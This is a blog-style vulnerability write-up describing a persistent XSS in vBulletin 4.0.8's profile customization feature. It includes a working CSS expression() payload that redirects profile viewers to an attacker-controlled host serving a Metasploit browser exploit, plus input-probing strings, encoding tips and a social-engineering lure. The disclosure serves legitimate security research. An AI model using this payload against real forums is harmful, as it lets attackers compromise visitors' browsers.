The popular vBulletin software is generally a quite secure forum application if you exclude the minimal amount of vulnerable addons. However, when new features are occasionally included, such as Profile Customization, a new vulnerability might be born.
In the actual customization feature it is possible to supply color codes such as: #000000, RGB codes like rgb(255, 255, 255) and even images! Imagine changing the user profile background, to a custom image. This is possible with url(‘path/to/image.png’)! But there’s more..
With a new feature accepting custom strings from a user, wouldn’t a hacker try to break it? Of course he or she would. A locator string such as: ?’HaXx”/\>< is sufficient to break almost any unsanitized web application including user features within these.
As shown above, the profile customization feature allows even custom (invalid) strings and this could be bad, especially if they aren’t escaped or encoded correctly.
As seen per the source code of the target site, the input is working as expected though an image has not been supplied to the source (src) variable, which is added afterwards via a new “attack” of course.
After testing the feature a bit more, it appears that custom strings needs to be encoded, and this can easily be done with virtually any (good) encoder online, but “The /* XSSOR */” does the job fast and efficiently. There is however, a bug in the online version which escapes user input due to magic quotes being enabled. Therefore, avoid ‘ ” and \ in any strings sent to the application in case you use it.
When a simple string such as “Hello MaXe” is encoded in character codes, the final string can look like this:
A redirection string is injected into the malicious user profile controlled by the hacker, and the actual attack string could look like this:[cc lang=”bash”]url(/);width:expression(document.location=”http://127.0.0.1:1234″)[/cc]
One may wonder, why redirect to the localhost? In this proof of concept, the target is redirected to a hacker serving a browser exploit via Metasploit. The above string is just an example.
All the target user running an ancient version of Internet Explorer has to do, is to view the malicious profile controlled by the hacker. When this happens, for example with a bit of Social Engineering (“hey! check out my profile!”) the viewer is redirected to the attacking machine which serves a browser exploit right away.
And boom! Pwned via XSS + Browser Exploit. If that isn’t serious, I don’t know what is. Of course, for this to work in real life scenarios, the target user must either have an outdated browser (quite common), or the hacker must have a 0day for that specific browser. Browser Exploitation Kits can be used as well, where the target is first identified as being e.g. IE or FF, and then all relevant exploits are fired against it.
Check out the video and the advisory disclosed to Exploit-DB, Bugtraq and InterN0T in case you haven’t read it yet.
All the best,
 vBulletin 4.0.8 Persistent XSS via Profile Customization